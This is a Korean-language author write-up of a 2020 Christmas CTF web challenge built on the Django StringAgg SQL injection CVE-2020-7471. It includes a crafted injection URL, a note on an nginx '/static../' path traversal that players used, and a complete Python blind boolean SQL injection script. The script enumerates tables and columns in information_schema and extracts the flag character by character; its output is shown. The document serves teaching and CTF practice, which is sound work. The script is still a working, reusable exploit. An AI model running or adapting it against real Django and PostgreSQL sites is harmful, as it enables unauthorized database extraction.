DOBBY_IS_FREE!

• 출제된 CTF: 2020 Christmas CTF
• 분야: WEB
• 키워드: DOBBY_IS_FREE!
• 난이도: ★★★☆☆

배경

일반적으로 Web Hacker들이 mysql에 대한 SQL Injection을 주로 공부하는걸 보니 postgresql을 사용해서 Injection 문제를 만들어서 다양한 DB에 대한 공격을 경험해봤으면 하는 생각에서 만들었습니다.

풀이

의도한 풀이

• Django 서비스에서 발생한 취약점이므로 이에 대한 힌트를 주기 위해 HTTP Response에 Version이라는 커스텀 헤더를 추가하여
  Django, Postgres 버전을 명시했습니다. Django 3.0.1 버전에서 발생하는 SQL Injection 취약점 검색시 공개된 poc 코드등이 있습니다.

• 웹 사이트 접근시 게시글 목록 출력

• 좌측 번호 클릭시 해당 게시글에 대한 pk와 content값을 기반으로 게시글 조회

• 실제 백엔드 코드

results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
    custom_field=StringAgg('content', delimiter=content)).all()

StringAgg함수를 통해 구분자와 함께 문자열을 붙여서 리턴해주는 함수 인데 해당 input값에 대한 입력값 검증이 없어서 저 content 부분에 injection payload를 넣을수 있습니다.

http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --

실제 Hacker들의 풀이

• nginx 서버 설정 실수로 인한 Path Traversal 취약점 발생 http://118.67.135.137/static../ url 접근 후 서버 내 모든 파일 접근이 가능 해짐으로서 백업용 dump 파일을 읽어들여 flag를 획득

취약점

CVE-2020-7471

• Django version 1.11, 2.2 3.0.x ≤ 3.0.2 버전에서 발견된 SQL Injection 취약점 CVE-2020-7471을 이용한 문제

• postgresql 관련 함수 중 StringAgg 함수와 관련된 코드에서 인자값 검사 기능이 미흡해 발생한 취약점

익스플로잇

• 다음은 익스플로잇 코드입니다.

import requests

server = "http://118.67.135.137/post/"

id = 1
content_param = f"/?content="
content = "IS_FREE!"



def exists_check(content):
    """응답값 체크용 함수"""
    if "title" in str(content):
        return True
    else:
        return False



headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Host": "127.0.0.1:8000",
    "Pragma": "no-cache",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}

def get_table_info_from_information_schema():
    # table 개수 조회
    table_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        table_count = table_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            table_count = table_count - 1
            table_count_get = True


    # table list 추출
    table_row_list = []
    # public table 개수 만큼 loop
    for table_row in range(0,table_count):
        # table 명 길이 조회
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
        # table 이름 사이즈 만큼 루프
        table_name = ""
        for i in range(0,table_name_size):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    table_name = table_name+str(chr(ascii))
                    break
        table_row_list.append(table_name)

    print(table_row_list)

def get_column_info_from_information_schema():
    vul_flag_column_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        #time.sleep(1)
        vul_flag_column_count = vul_flag_column_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            vul_flag_column_count = vul_flag_column_count - 1
            table_count_get = True

    column_name_list = []
    for i in range(0,vul_flag_column_count):
        # table 명 길이 조회
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break

        #vul_flag table column 이름 조회
        column_name = ""
        for j in range(1,table_name_size+1):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    column_name = column_name+str(chr(ascii))
                    break
        column_name_list.append(column_name)

    print(column_name_list)

def get_flag_from_flag_table():
    for flag_length in range(0,50):
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            break

    flag = ""
    for j in range(1,flag_length+1):
        for ascii in range(0,128):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                flag = flag+str(chr(ascii))
                break
    print(flag)

#Information Schema에서 테이블 정보 추출
#get_table_info_from_information_schema()

#테이블명 알아냈으니 information_schema에서 column 정보 추출
#get_column_info_from_information_schema()

#column정보 기반으로 flag 값 추출
get_flag_from_flag_table()

• 다음은 실행 결과입니다.

D033Y_!S_L0N3LY

서비스 구동 방법

---

1. Build Docker image

make build

2. Up Docker Image

make up

3. Check Web Site

• 127.0.0.1.

레퍼런스

Poc CVE-2020-7471 Django Security Django Offical Document Django Release History